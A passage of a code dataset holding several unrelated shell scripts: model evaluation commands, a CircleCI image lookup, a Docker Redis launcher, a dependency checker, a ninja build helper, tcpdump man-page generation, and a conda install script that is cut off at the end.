$model_dir/${parse_config}_dev_srl_preds.tsv\n#cp $model_dir/parse_preds.tsv $model_dir/${parse_config}_dev_parse_preds.tsv\n\n# WSJ test\npython $DOZAT_ROOT/network.py \\\n --load \\\n --test \\\n --test_eval \\\n --load_dir $model_dir \\\n --config_file $model_dir/config.cfg \\\n --gold_attn_at_train $gold_attn_at_train \\\n --inject_manual_attn $inject_manual_attn \\\n --valid_file $valid_file \\\n --test_file $wsj_test_file \\\n --gold_test_props_file $wsj_test_props_file \\\n --gold_dev_parse_file $valid_parse_file \\\n --gold_test_parse_file $wsj_test_parse_file \\\n --max_dev_batch_size 246 #183\n\n\n# Brown test\npython $DOZAT_ROOT/network.py \\\n --load \\\n --test \\\n --test_eval \\\n --load_dir $model_dir \\\n --config_file $model_dir/config.cfg \\\n --gold_attn_at_train $gold_attn_at_train \\\n --inject_manual_attn $inject_manual_attn \\\n --valid_file $valid_file \\\n --test_file $brown_test_file \\\n --gold_test_props_file $brown_test_props_file \\\n --gold_dev_parse_file $valid_parse_file \\\n --gold_test_parse_file $brown_test_parse_file \\\n --max_dev_batch_size 246 #183"} {"text": "bin/in-container/get-circle-ci-executor.sh\n#!/usr/bin/env bash\n\nSCRIPT_DIR_NAME=\"$( cd \"$( dirname \"$0\" )\" && pwd )\"\n\nusage() {\n echo \"usage: $(basename \"$0\")\" >&2\n}\n\nwhile true\ndo\n case \"$(echo \"${1:-}\" | tr \"[:upper:]\" \"[:lower:]\")\" in\n --help)\n shift\n usage\n exit 0\n ;;\n *)\n break\n ;;\n esac\ndone\n\nif [ $# != 0 ]; then\n usage\n exit 1\nfi\n\nREPO_ROOT_DIR=$(\"${SCRIPT_DIR_NAME}/repo-root-dir.sh\")\n\ngrep 'image:' < \"${REPO_ROOT_DIR}/.circleci/config.yml\" | \\\n tail -1 | \\\n sed -e 's|^.*\\-[[:space:]]*image\\:[[:space:]]*||g' |\n sed -e 's|[[:space:]]*$||g'\n\nexit 0"} {"text": "leegoway/LNMP-docker0\npwd=``\nredis=$pwd/redis\n\n# --net=dev \\\ndocker run \\\n-tid \\\n--name redis \\\n-h redis \\\n--privileged \\\n-p 6379:6379 \\\n-v $redis/conf:/etc/redis \\\n-v $redis/data:/var/lib/redis \\\n-v $redis/log:/var/log/redis \\\nleego/redis \\\n/sbin/init \nsleep 2\ndocker exec -it redis /bin/bash -c \"redis-server /etc/redis/6379.conf\"\necho \"Reids starting: OK\""} {"text": "#!/bin/bash\n\necho '\n _______________ ___ ____\n / ___/_ __/ __ \\/ | / __ \\\n \\__ \\ / / / /_/ / /| | / /_/ /\n ___/ // / / _, _/ ___ |/ ____/\n/____//_/ /_/ |_/_/ |_/_/ '\n\necho -e '\\nStrap Kit Dependency Checker'\nMISSINGDEPS=0\n\nshow_error() {\n MISSINGDEPS=1\n red='\\033[0;31m'\n NC='\\033[0m' # No Color\n\n echo -e ${red}$1${NC}\n}\n\ngreen_highlight() {\n\n green='\\033[0;32m'\n NC='\\033[0m' # No Color\n echo -e ${green}$1 ${NC}\n}\n\n\ngreen_highlight \"+ Checking CORE requirements (for strapkit)\"\necho \"===============================\"\necho 'Checking git...'\n(which git && green_highlight \"`git --version`\\ngit is installed\"|| (show_error 'git was not found.'))\necho \"===============================\"\necho 'Checking NodeJS...'\n(which node && green_highlight \"`node --version`\\nNode is installed\" || (which nodejs && alias node=nodejs;echo 'Node is installed' `node --version` || (show_error 'node or nodejs were not found')))\necho \"===============================\"\necho 'Checking npm...'\n(which npm && green_highlight \"`npm --version`\\nnpm is installed\" || (show_error 'npm was not found.'))\necho \"===============================\"\necho 'Checking python...'\n(which python && green_highlight \"`python --version`Python is installed\" || (show_error 'python was not found'))\necho \"===============================\"\ngreen_highlight '+ Checking PLATFORM requirements (not required for strapkit to run, but required for platform builds)'\necho \"===============================\"\necho \"===============================\"\necho \" Pebble dependencies \"\necho \"===============================\"\necho 'Checking Pebble SDK'\n(which pebble && green_highlight \"Pebble SDK is installed.`pebble --version`\" || (show_error 'Pebble SDK was not found'))\necho \"===============================\"\necho \" ANDROID WEAR dependencies \"\necho \"===============================\"\necho 'Checking adb'\n(which adb && green_highlight \"`adb version`\\nadb is installed.\" || (show_error 'adb was not found.'))\necho \"===============================\"\necho 'Checking android'\n(which android && green_highlight \"android is installed.\" || (show_error '!!! android was not found.'))\necho \"===============================\"\necho 'Checking ANDROID_HOME env variable'\nif [ \"$ANDROID_HOME\" ]; then green_highlight 'ANDROID_HOME is set.'; else show_error '!!! ANDROID_HOME is not set.'; fi\necho \"===============================\"\necho 'Checking JAVA_HOME env variable'\nif [ \"$JAVA_HOME\" ]; then green_highlight 'JAVA_HOME is set.'; else show_error '!!! JAVA_HOME is not set.'; fi\n\necho \"+++++++++++++++++++++++++++++++\"\necho \"++++++ RESULTS ++++++\"\necho \"+++++++++++++++++++++++++++++++\"\n([ $MISSINGDEPS -ne 0 ] && show_error '!!! One or more dependencies were not found. Visit https://docs.straphq.com for more info on setting up the dependencies.' || echo 'Congrats, your machine is ready for some live action.')\necho -e \"\\n\""} {"text": "scripts/release/createAndUploadDocsReleaseBundle.sh\n#!/usr/bin/env bash\n\nif [ \"$#\" -lt 1 ]\n then\n echo \"You must supply a release version number\"\n echo \"For example: ./scripts/release/createAndUploadDocsReleaseBundle.sh 19.1.2\"\n exit 1\nfi\n\nTIMESTAMP=`date +%Y%m%d`\n\nRAW_VERSION=$1\nVERSION=\"\"${RAW_VERSION//./}\"\"\n\nFILENAME=release_\"$TIMESTAMP\"_v\"$VERSION\".zip\n\n./scripts/release/createDocsReleaseBundle.sh $RAW_VERSION\n./scripts/release/uploadReleaseZip.sh $FILENAME\n\n./scripts/release/archiveCurrentRelease.sh\n./scripts/release/prepareNewDeployment.sh $FILENAME\n./scripts/release/switchRelease.sh $TIMESTAMP"} {"text": "# -----------------------------------------------------------------------------\n# This file is part of the xPack distribution.\n# (https://xpack.github.io)\n# Copyright (c) 2020 .\n#\n# Permission to use, copy, modify, and/or distribute this software\n# for any purpose is hereby granted, under the terms of the MIT license.\n# -----------------------------------------------------------------------------\n\n# Helper script used in the second edition of the xPack build\n# scripts. As the name implies, it should contain only functions and\n# should be included with 'source' by the container build scripts.\n\n# -----------------------------------------------------------------------------\n\n# https://github.com/ninja-build/ninja/wiki\n# https://sourceforge.net/projects/msys2/files/REPOS/MSYS2/Sources/ninja-1.10.0-1.src.tar.gz/download\n\nfunction build_ninja()\n{\n local ninja_version=\"$1\"\n\n # https://ninja-build.org\n # https://github.com/ninja-build/ninja/archive/v1.10.0.tar.gz\n\n # https://archlinuxarm.org/packages/aarch64/ninja/files/PKGBUILD\n\n local ninja_src_folder_name=\"ninja-${ninja_version}\"\n local ninja_folder_name=\"${ninja_src_folder_name}\"\n\n mkdir -pv \"${LOGS_FOLDER_PATH}/${ninja_folder_name}\"\n\n cd \"${SOURCES_FOLDER_PATH}\"\n\n if [ ! -d \"${SOURCES_FOLDER_PATH}/${ninja_src_folder_name}\" ]\n then\n (\n cd \"${SOURCES_FOLDER_PATH}\"\n git_clone \"${NINJA_GIT_URL}\" \"${NINJA_GIT_BRANCH}\" \\\n \"${NINJA_GIT_COMMIT}\" \"${ninja_src_folder_name}\"\n )\n fi\n\n (\n mkdir -p \"${BUILD_FOLDER_PATH}/${ninja_folder_name}\"\n cd \"${BUILD_FOLDER_PATH}/${ninja_folder_name}\"\n\n # xbb_activate_installed_dev\n\n # CPPFLAGS=\"${XBB_CPPFLAGS}\"\n CFLAGS=\"$(echo ${XBB_CPPFLAGS} ${XBB_CFLAGS_NO_W} | sed -e 's|-O[0123s]||')\"\n CXXFLAGS=\"$(echo ${XBB_CPPFLAGS} ${XBB_CFLAGS_NO_W} | sed -e 's|-O[0123s]||')\"\n if [ \"${TARGET_PLATFORM}\" == \"win32\" ]\n then\n CFLAGS+=\" -DUSE_WIN32_CMD_EXE_TO_CREATE_PROCESS\"\n CXXFLAGS+=\" -DUSE_WIN32_CMD_EXE_TO_CREATE_PROCESS\"\n fi\n LDFLAGS=\"$(echo ${XBB_CPPFLAGS} ${XBB_LDFLAGS_APP_STATIC_GCC} | sed -e 's|-O[0123s]||')\"\n if [ \"${TARGET_PLATFORM}\" == \"linux\" ]\n then\n LDFLAGS+=\" -Wl,-rpath,${LD_LIBRARY_PATH}\"\n fi\n\n export CFLAGS\n export CXXFLAGS\n export LDFLAGS\n\n local build_type\n if [ \"${IS_DEBUG}\" == \"y\" ]\n then\n build_type=Debug\n else\n build_type=Release\n fi\n\n if true # [ ! -f \"CMakeCache.txt\" ]\n then\n (\n if [ \"${IS_DEVELOP}\" == \"y\" ]\n then\n env | sort\n fi\n\n echo\n echo \"Running ninja configure...\"\n\n config_options=()\n\n # With ninja, the windows build fails with:\n # The install of the ninja target requires changing an RPATH from the build\n # tree, but this is not supported with the Ninja generator\n config_options+=(\"-G\" \"Unix Makefiles\")\n\n config_options+=(\"-DCMAKE_BUILD_TYPE=${build_type}\")\n\n if [ \"${TARGET_PLATFORM}\" == \"win32\" ]\n then\n config_options+=(\"-DWIN32=ON\")\n fi\n\n if [ \"${IS_DEBUG}\" == \"y\" ]\n then\n config_options+=(\"-DCMAKE_VERBOSE_MAKEFILE=ON\")\n fi\n\n config_options+=(\"-DCMAKE_INSTALL_PREFIX=${APP_PREFIX}\")\n\n run_verbose_timed cmake \\\n ${config_options[@]} \\\n \\\n \"${SOURCES_FOLDER_PATH}/${ninja_src_folder_name}\" \\\n\n ) 2>&1 | tee \"${LOGS_FOLDER_PATH}/${ninja_folder_name}/cmake-output.txt\"\n fi\n\n (\n echo\n echo \"Running ninja build...\"\n\n run_verbose_timed cmake \\\n --build . \\\n --parallel ${JOBS} \\\n --verbose \\\n --config \"${build_type}\" \\\n\n if [ \"${TARGET_PLATFORM}\" != \"win32\" ]\n then\n run_verbose_timed ctest -vv\n fi\n\n # The install target is not funtional:\n mkdir -pv \"${APP_PREFIX}/bin\"\n if [ \"${TARGET_PLATFORM}\" == \"win32\" ]\n then\n install -v -m755 -c ninja.exe \"${APP_PREFIX}/bin\"\n else\n install -v -m755 -c ninja \"${APP_PREFIX}/bin\"\n fi\n\n ) 2>&1 | tee \"${LOGS_FOLDER_PATH}/${ninja_folder_name}/build-output.txt\"\n\n copy_license \\\n \"${SOURCES_FOLDER_PATH}/${ninja_src_folder_name}\" \\\n \"${ninja_folder_name}\"\n\n )\n\n tests_add \"test_ninja\"\n}\n\n# -----------------------------------------------------------------------------\n\nfunction test_ninja()\n{\n if [ -d \"xpacks/.bin\" ]\n then\n NINJA=\"xpacks/.bin/ninja\"\n elif [ -d \"${APP_PREFIX}/bin\" ]\n then\n NINJA=\"${APP_PREFIX}/bin/ninja\"\n else\n echo \"Wrong folder.\"\n exit 1\n fi\n\n echo\n echo \"Checking the ninja shared libraries...\"\n show_libs \"${NINJA}\"\n\n echo\n echo \"Checking if ninja starts...\"\n\n run_app \"${NINJA}\" --version\n\n run_app \"${NINJA}\" --help || true\n}\n\n# -----------------------------------------------------------------------------"} {"text": "kayoub5/tcpdump-htdocs\n#!/bin/sh\n\n# This script regenerates (updates but not commits) tcpdump, libpcap and\n# tcpslice man pages for the www.tcpdump.org web-site. It is intended to be\n# run in tcpdump-htdocs git repository clone with the source man pages\n# available in ../tcpdump, ../libpcap and ../tcpslice git clones respectively.\n#\n# A number of man pages in the tcpdump and libpcap repositories require\n# autotools processing, so if you have just updated any .in files there,\n# remember to run ./config.status (or even ./configure for complex changes) in\n# that working tree before running this script in this working tree.\n#\n# This script has been tested to work on the following Linux systems:\n#\n# * Fedora 24\n# * Fedora 25\n# * Fedora 28\n# * Fedora 30\n# * Fedora 32\n# * Fedora 34 <--- please use this one\n# * Ubuntu 16.04\n# * Ubuntu 18.04\n# * Ubuntu 20.04 <--- or this one\n#\n# Please mind that the generated contents of the .txt files may change much\n# more than respective source man pages, sometimes even when the source man\n# pages didn't change at all. Specifically, the amount of whitespace and\n# hyphenation may fluctuate for no obvious reason when this script runs on a\n# different distribution or a different version of the same distribution or\n# even on the same system as the previous time! Do not worry about it as long\n# as the source man pages are the newest you can get from git.\n\nMAN2HTML_PFX=/cgi-bin/man/man2html\nWEBSITE_PFX=.\n\n# Both Fedora and Ubuntu man2html versions prepend their output with a\n# Content-type header. Only the Ubuntu version generates a document type\n# declaration. For consistent and valid results replace everything before\n# the tag with an explicit hard-coded line.\nstripContentTypeHeader()\n{\n\techo ''\n\tsed -n '/^/,$p'\n}\n\n# Most (but not all) of the generated HTML files have a short useless\n# \"Index\" section near EOF.\nstripIndexSection()\n{\n\tcase $(basename \"${1:?}\") in\n\ttcpdump.1|tcpslice.1|pcap.3pcap)\n\t\tcat\n\t\t;;\n\t*)\n\t\tsed '/^<A NAME=\"index\">/,/^<HR>/d' | sed 's@<A HREF=\"#index\">Index</A>@@'\n\t\t;;\n\tesac\n}\n\nprintSedFile()\n{\n\t# Fixup custom links.\n\t# Suppress some output difference between Fedora and Ubuntu versions of man2html.\n\t# Convert file:// schema hyperlinks to plain text.\n\t# Customize the page footer.\n\tcat <<ENDOFFILE\ns@<A HREF=\"$MAN2HTML_PFX\">Return to Main Contents</A>@<A HREF=\"$WEBSITE_PFX/\">Return to Main Contents</A>@g\ns@<A HREF=\"$MAN2HTML_PFX\">man2html</A>@man2html@g\ns@^<HTML><HEAD><TITLE>Manpage of @<HTML><HEAD><TITLE>Man page of @\ns@</HEAD><BODY>@<LINK REL=\"stylesheet\" type=\"text/css\" href=\"../style_manpages.css\">\\n</HEAD><BODY>@\ns@</HEAD><BODY>@<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\\n</HEAD><BODY>@\ns@<H1>@<H1>Man page of @\ns@<A HREF=\"file://\\(.*\\)\">\\(.*\\)</A>@\\2@g\ns@</BODY>@<a href=\"https://validator.w3.org/check?uri=referer\">[Valid HTML 4.01]</a>\\n\\0@\ns@</BODY>@<a href=\"https://jigsaw.w3.org/css-validator/check/referer\">[Valid CSS]</a>\\n\\0@\ns/^using the manual pages.<BR>$/using the manual pages from \"The Tcpdump Group\" git repositories.<BR>/\nENDOFFILE\n\n\t# Convert links to non-local pages to plain text.\n\tprintNonLocalManPages | while read -r mansection mantopic; do\n\t\techo \"s@<A HREF=\\\"$MAN2HTML_PFX?${mansection}+${mantopic}\\\">$mantopic</A>@$mantopic@g\"\n\tdone\n\n\t# Fixup links to local pages, part 1.\n\twhile read -r mantopic manfile; do\n\t\techo \"s@<A HREF=\\\"${MAN2HTML_PFX}?${mantopic}\\\"@<A HREF=\\\"$manfile\\\"@g\"\n\tdone <<ENDOFLIST\n7+pcap-linktype\t\t$WEBSITE_PFX/pcap-linktype.7.html\n7+pcap-tstamp\t\t$WEBSITE_PFX/pcap-tstamp.7.html\n7+pcap-filter\t\t$WEBSITE_PFX/pcap-filter.7.html\n5+pcap-savefile\t\t$WEBSITE_PFX/pcap-savefile.5.html\n1+tcpdump\t\t$WEBSITE_PFX/tcpdump.1.html\n1+tcpslice\t\t$WEBSITE_PFX/tcpslice.1.html\n5+rpcapd-config\t\t$WEBSITE_PFX/rpcapd-config.5.html\n8+rpcapd\t\t$WEBSITE_PFX/rpcapd.8.html\nENDOFLIST\n\n\t# Fixup links to local pages, part 2.\n\tprint3PCAPMap | while read -r mantopic manfile; do\n\t\tmanfile=\"${WEBSITE_PFX}/${manfile:-$mantopic}.3pcap.html\"\n\t\t# Two substitutions below make up for the new smartness added\n\t\t# in man2html-1.6-13.g.fc20.\n\t\techo \"s@<B><A HREF=\\\"$MAN2HTML_PFX?3PCAP+${mantopic}\\\">$mantopic</A></B>(3PCAP)@<B>$mantopic</B>(3PCAP)@g\"\n\t\techo \"s@<A HREF=\\\"$MAN2HTML_PFX?3PCAP+${mantopic}\\\">$mantopic</A>(3PCAP)@$mantopic(3PCAP)@g\"\n\t\techo \"s@$mantopic(3PCAP)@<A HREF='$manfile'>$mantopic</A>(3PCAP)@g\"\n\t\techo \"s@<B>$mantopic</B>(3PCAP)@<A HREF='$manfile'><B>$mantopic</B></A>(3PCAP)@g\"\n\tdone\n}\n\nprint3PCAPMap()\n{\n\tcat <<ENDOFLIST\npcap\npcap_activate\npcap_breakloop\npcap_can_set_rfmon\npcap_close\npcap_compile\npcap_create\npcap_datalink\npcap_datalink_name_to_val\npcap_datalink_val_to_description\t\t\t\tpcap_datalink_val_to_name\npcap_datalink_val_to_description_or_dlt\t\t\t\tpcap_datalink_val_to_name\npcap_datalink_val_to_name\npcap_dispatch\t\t\t\t\t\t\tpcap_loop\npcap_dump\npcap_dump_close\npcap_dump_file\npcap_dump_flush\npcap_dump_fopen\t\t\t\t\t\t\tpcap_dump_open\npcap_dump_ftell\npcap_dump_ftell64\t\t\t\t\t\tpcap_dump_ftell\npcap_dump_open\npcap_file\npcap_fileno\npcap_findalldevs\npcap_fopen_offline\t\t\t\t\t\tpcap_open_offline\npcap_fopen_offline_with_tstamp_precision\t\t\tpcap_open_offline\npcap_freealldevs\t\t\t\t\t\tpcap_findalldevs\npcap_freecode\npcap_free_datalinks\t\t\t\t\t\tpcap_list_datalinks\npcap_free_tstamp_types\t\t\t\t\t\tpcap_list_tstamp_types\npcap_get_required_select_timeout\npcap_geterr\npcap_getnonblock\t\t\t\t\t\tpcap_setnonblock\npcap_get_selectable_fd\npcap_get_tstamp_precision\npcap_init\npcap_inject\npcap_is_swapped\npcap_lib_version\npcap_list_datalinks\npcap_list_tstamp_types\npcap_lookupdev\npcap_lookupnet\npcap_loop\npcap_major_version\npcap_minor_version\t\t\t\t\t\tpcap_major_version\npcap_next_ex\npcap_next\t\t\t\t\t\t\tpcap_next_ex\npcap_offline_filter\npcap_open_dead\npcap_open_dead_with_tstamp_precision\t\t\t\tpcap_open_dead\npcap_open_live\npcap_open_offline\npcap_open_offline_with_tstamp_precision\t\t\t\tpcap_open_offline\npcap_perror\t\t\t\t\t\t\tpcap_geterr\npcap_sendpacket\t\t\t\t\t\t\tpcap_inject\npcap_set_buffer_size\npcap_set_datalink\npcap_setdirection\npcap_setfilter\npcap_set_immediate_mode\npcap_setnonblock\npcap_set_promisc\npcap_set_protocol_linux\npcap_set_rfmon\npcap_set_snaplen\npcap_set_timeout\npcap_set_tstamp_precision\npcap_set_tstamp_type\npcap_snapshot\npcap_stats\npcap_statustostr\npcap_strerror\npcap_tstamp_type_name_to_val\npcap_tstamp_type_val_to_description\t\t\t\tpcap_tstamp_type_val_to_name\npcap_tstamp_type_val_to_name\nENDOFLIST\n}\n\nprintNonLocalManPages()\n{\n\tcat <<ENDOFLIST\n4P\ttcp\n4P\tudp\n4P\tip\n4\tpf\n8\tpfconfig\n2\tselect\n2\tpoll\n1\tautoconf\n8\tusermod\n3\tstrerror\n1\tkill\n1\tstty\n1\tps\n3\tstrftime\n4\tbpf\n4P\tnit\n2\tepoll_wait\n2\tkqueue\n2\tsocket\n1\tdate\n3\tisatty\n3\tfileno\n1\tECT\n2\tioctl\n7\tpacketfilter\n2\tkevent\n2\ttimerfd_create\nENDOFLIST\n}\n\ndetectProject()\n{\n\tproject_dir=$(dirname \"${1:?}\")\n\tproject_name=$(basename \"$project_dir\")\n\t[ \"$project_name\" = rpcapd ] && project_dir=\"$project_dir/..\"\n\tproject_version=$(cat \"$project_dir/VERSION\")\n}\n\nBOILERPLATE_BODY='Your system may have a different version installed, possibly with some\nlocal modifications. To achieve the best results, please make sure this\nversion of this man page suits your needs. If necessary, try to look for\na different version on this web site or in the man pages available in your\ninstallation.'\n\nprintHTMLBoilerplate()\n{\n\tdetectProject \"${1:?}\"\ncat <<ENDOFTEXT\n<DIV class=version_boilerplate>\n<H4>This man page documents ${project_name} version ${project_version}.</H4>\n$BOILERPLATE_BODY\n</DIV>\nENDOFTEXT\n}\n\ninsertHTMLBoilerplate()\n{\n\tHBTMP=$(mktemp --tmpdir html_boilerplate.XXXXXX)\n\tprintHTMLBoilerplate \"${1:?}\" >\"$HBTMP\"\n\tsed -E \"/<A HREF=\\\".+\\\">Return to Main Contents<\\/A><HR>/r $HBTMP\"\n\trm -f \"$HBTMP\"\n}\n\nproduceHTML()\n{\n\tinfile=${1:?}\n\thtml_sedfile=\"${2:?}\"\n\toutfile=${3:?}\n\t[ -s \"$infile\" ] || {\n\t\techo \"Skipped: $infile, which does not exist or is empty\"\n\t\treturn\n\t}\n\t# A possible alternative: mandoc -T html $infile > $outfile\n\tman2html -M $MAN2HTML_PFX \"$infile\" | stripContentTypeHeader | \\\n\t\tinsertHTMLBoilerplate \"$infile\" | \\\n\t\tstripIndexSection \"$infile\" | sed --file=\"$html_sedfile\" > \"$outfile\"\n\t# If the output file is git-tracked and the new revision is different in\n\t# timestamp only, discard the new revision.\n\tgit show \"$outfile\" >/dev/null 2>&1 || {\n\t\techo \"Updated but not in repository: $outfile\"\n\t\treturn\n\t}\n\tgit diff \"$outfile\" | tail --lines +5 | grep -E '^[-+]' | grep -E -q -v '^[-+]Time: ' || {\n\t\tgit checkout --quiet \"$outfile\"\n\t\treturn\n\t}\n\techo \"Updated: $outfile\"\n}\n\nprintTXTBoilerplate()\n{\n\tdetectProject \"${1:?}\"\n\techo '+----------------------------------------------------------------------------+'\n\twhile read -r line; do\n\t\tprintf '| %-74s |\\n' \"$line\"\n\tdone <<ENDOFTEXT\n\nThis man page documents ${project_name} version ${project_version}.\n\n$BOILERPLATE_BODY\n\nENDOFTEXT\n\techo '+----------------------------------------------------------------------------+'\n\techo\n}\n\nproduceTXT()\n{\n\tinfile=${1:?}\n\toutfile=${2:?}\n\t[ -s \"$infile\" ] || {\n\t\techo \"Skipped: $infile, which does not exist or is empty\"\n\t\treturn\n\t}\n\tprintTXTBoilerplate \"$infile\" > \"$outfile\"\n\tman -E ascii \"$infile\" >> \"$outfile\"\n\tgit diff \"$outfile\" | grep -E -q '^[-+]' && echo \"Updated: $outfile\"\n}\n\nknown3PCAPFile()\n{\n\tbasename=$(basename \"${1:?}\" .3pcap)\n\tprint3PCAPMap | while read -r mantopic manfile; do\n\t\tif [ \"${manfile:-$mantopic}\" = \"$basename\" ]; then\n\t\t\t# Cannot just return 0 or 1 because the while end of\n\t\t\t# the pipe may be in a sub-shell.\n\t\t\techo 'yes'\n\t\t\treturn\n\t\tfi\n\tdone\n\techo 'no'\n}\n\nupdateOutputFiles()\n{\n\tcommand -v man2html >/dev/null 2>&1 || {\n\t\techo \"man2html must be installed to proceed\"\n\t\texit 1\n\t}\n\n\t# The .txt version of a man page assumes an 80 columns wide terminal,\n\t# which used to be the default in PC text mode console, xterm etc.\n\t# Use stty because $COLUMNS doesn't always work.\n\tcols=$(stty size | cut -d' ' -f2)\n\t[ \"$cols\" -ne 80 ] && stty columns 80\n\n\tsedfile=$(mktemp --tmpdir manpages_sedfile.XXXXXX)\n\tprintSedFile > \"$sedfile\"\n\n\tproduceTXT ../libpcap/pcap-filter.manmisc manpages/pcap-filter.7.txt\n\tproduceTXT ../libpcap/pcap-linktype.manmisc manpages/pcap-linktype.7.txt\n\tproduceTXT ../libpcap/pcap-savefile.manfile manpages/pcap-savefile.5.txt\n\tproduceTXT ../libpcap/pcap-tstamp.manmisc manpages/pcap-tstamp.7.txt\n\tproduceTXT ../libpcap/rpcapd/rpcapd.manadmin manpages/rpcapd.8.txt\n\tproduceTXT ../libpcap/rpcapd/rpcapd-config.manfile manpages/rpcapd-config.5.txt\n\n\tproduceHTML ../libpcap/pcap-filter.manmisc \"$sedfile\" manpages/pcap-filter.7.html\n\tproduceHTML ../libpcap/pcap-linktype.manmisc \"$sedfile\" manpages/pcap-linktype.7.html\n\tproduceHTML ../libpcap/pcap-savefile.manfile \"$sedfile\" manpages/pcap-savefile.5.html\n\tproduceHTML ../libpcap/pcap-tstamp.manmisc \"$sedfile\" manpages/pcap-tstamp.7.html\n\tproduceHTML ../libpcap/rpcapd/rpcapd.manadmin \"$sedfile\" manpages/rpcapd.8.html\n\tproduceHTML ../libpcap/rpcapd/rpcapd-config.manfile \"$sedfile\" manpages/rpcapd-config.5.html\n\n\tfor f in ../libpcap/*.3pcap; do\n\t\t[ \"$(known3PCAPFile \"$f\")\" = 'no' ] && echo \"WARNING: file $f is not in the 3PCAP map\"\n\tdone\n\n\tfor f in ../libpcap/*.3pcap ../libpcap/pcap-config.1 ../tcpdump/tcpdump.1 ../tcpslice/tcpslice.1; do\n\t\tproduceTXT \"$f\" \"manpages/$(basename \"$f\").txt\"\n\t\tproduceHTML \"$f\" \"$sedfile\" \"manpages/$(basename \"$f\").html\"\n\tdone\n\n\trm -f \"$sedfile\"\n\t[ \"$cols\" -ne 80 ] && stty columns \"$cols\"\n\treturn 0\n}\n\nupdateOutputFiles"} {"text": "<filename>install_script.sh<gh_stars>1-10\n#!/usr/bin/env bash\n\n# References\n# http://kvz.io/blog/2013/11/21/bash-best-practices/\n# http://jvns.ca/blog/2017/03/26/bash-quirks/\n\n# default logfile name\nFILENAME=\"jupyter-vcdat_logfile.txt\"\n\n# dev conda channels to use\nDEV_CHANNELS=\"-c cdat/label/v8.2.1 -c conda-forge\"\n\n# user conda channels (stable)\nUSER_CHANNELS=\"-c cdat/label/v8.2.1 -c conda-forge\"\n\n# choose base packages based on OS\nif [[ \"$OSTYPE\" == \"linux-gnu\"* ]]; then\n BASE_CONDA_PKGS=\"pip cdms2 vcs tqdm nodejs 'python=3.7' jupyterlab jupyterhub ipywidgets numpy 'mesalib=18.3.1'\"\nelif [[ \"$OSTYPE\" == \"darwin\"* ]]; then\n BASE_CONDA_PKGS=\"pip cdms2 vcs tqdm nodejs 'python=3.7' jupyterlab jupyterhub ipywidgets numpy 'mesalib=17.3.9'\"\nfi\n\n# dev and test packages\nDEV_CONDA_PKGS=\"testsrunner cdat_info\"\n\n# default env name\nREQUESTED_ENV_NAME=\"jupyter-vcdat\"\n\n# NOT VERBOSE by default\nVERBOSE=0\n\n# installation mode (USER or DEV)\nINSTALL_MODE=\"USER\"\n\n# conda channels to use\nCONDA_CHANNELS=\"$USER_CHANNELS\"\nCONDA_PACKAGES=$BASE_CONDA_PKGS\n\nfunction usage() {\n cat <<EOF\nusage: Install vcdat jupyter-lab extension\n\noptional arguments:\n -h, --help \n show this help message and exit\n -f FILENAME, --FILENAME FILENAME\n name of file where to log output\n -v VERBOSE\n Also prints output to screen\n -d DEVELOPER\n Installs developer version with developer tools\n -n CONDA_ENV_NAME, --name CONDA_ENV_NAME\n Name of the conda environment to install in (will create if not existing)\nEOF\n exit 0\n}\n\n# Figure out command line arguments: http://linuxcommand.org/lc3_wss0120.php\nwhile [ \"$1\" != \"\" ]; do\n case $1 in\n -f | --file)\n shift\n FILENAME=$1\n ;;\n -v | --VERBOSE)\n VERBOSE=1\n ;;\n -n | --name)\n shift\n REQUESTED_ENV_NAME=$1\n ;;\n -d | --dev)\n INSTALL_MODE=\"DEV\"\n ;;\n -h | --help)\n usage\n ;;\n *)\n usage\n exit 1\n ;;\n esac\n shift\ndone\n\necho \"Installing jupyter-vcdat extension in conda env: '${REQUESTED_ENV_NAME}' (you can change this via -c option)\"\n\n# Choose conda channels and packages based on installion mode\nif [ $INSTALL_MODE == \"DEV\" ]; then\n CONDA_CHANNELS=\"$DEV_CHANNELS $BASE_CHANNELS\"\n CONDA_PACKAGES=\"$BASE_CONDA_PKGS $DEV_CONDA_PKGS\"\nfi\n\necho \"Using following conda channels: '${CONDA_CHANNELS}'\"\necho \"Output will be redirected to: '$FILENAME' (you can control the FILENAME with -f option)\"\n# Redirect to logfile and possibly screen if verbose\nif [ $VERBOSE == 1 ]; then\n # Redirect stdout ( > ) into a named pipe ( >() ) running \"tee\"\n exec > >(tee -i $FILENAME)\nelse\n echo \"Going into quiet mode, suppressing output\"\n echo \"For verbose mode run with -v option\"\n # https://stackoverflow.com/questions/637827/redirect-stderr-and-stdout-in-bash\n # Close STDOUT file descriptor\n exec 1<&-\n # Close STDERR FD\n exec 2<&-\n\n # Open STDOUT as $LOG_FILE file for read and write.\n exec 1<>$FILENAME\nfi\n\n# Without this, only stdout would be captured - i.e. your\n# log file would not contain any error messages.\nexec 2>&1\n\n# exit when a command fails\nset -o errexit\n\n# exit if any pipe commands fail\nset -o pipefail\n\nset -E\nset -o functrace\nfunction handle_error() {\n local retval=$?\n local line=${last_lineno:-$1}\n echo \"Failed at $line: $BASH_COMMAND\"\n echo \"Trace: \" \"$@\"\n echo \"return code: \" \"$?\"\n exit $retval\n}\ntrap 'handle_error $LINENO ${BASH_LINENO[@]}' ERR\n\nCONDA_EXE=\"$(which conda)\"\n\n# Activate requested conda environment\nif [ ${CONDA_DEFAULT_ENV:-\"NA\"} != ${REQUESTED_ENV_NAME} ]; then\n echo \"Current conda does not match requested conda: ${CONDA_DEFAULT_ENV:-'NA'} vs ${REQUESTED_ENV_NAME}\"\n envs=$(${CONDA_EXE} env list | cut -d ' ' -f1)\n found=0\n for a_env in $envs; do\n if [ $a_env == ${REQUESTED_ENV_NAME} ]; then\n found=1\n fi\n done\n if [ $found == 1 ]; then\n echo \"ACTIVATING existing env: ${REQUESTED_ENV_NAME}\"\n conda activate ${REQUESTED_ENV_NAME}\n else\n echo \"The requested env ${REQUESTED_ENV_NAME} does not seem to exist we will create it.\"\n fi\nfi\n\nif [ ${CONDA_DEFAULT_ENV:-\"NA\"} != ${REQUESTED_ENV_NAME} ]; then\n # If requested conda environment doesn't exist, create it\n echo \"Creating conda env: ${REQUESTED_ENV_NAME}\"\n conda config --set channel_priority strict\n echo \"conda create -y -n ${REQUESTED_ENV_NAME} $CONDA_CHANNELS $CONDA_PACKAGES\"\n conda create -y -n ${REQUESTED_ENV_NAME} $CONDA_CHANNELS $CONDA_PACKAGES\n CONDA_BASE=$(conda info --base)\n source $CONDA_BASE/etc/profile.d/conda.sh\n conda activate 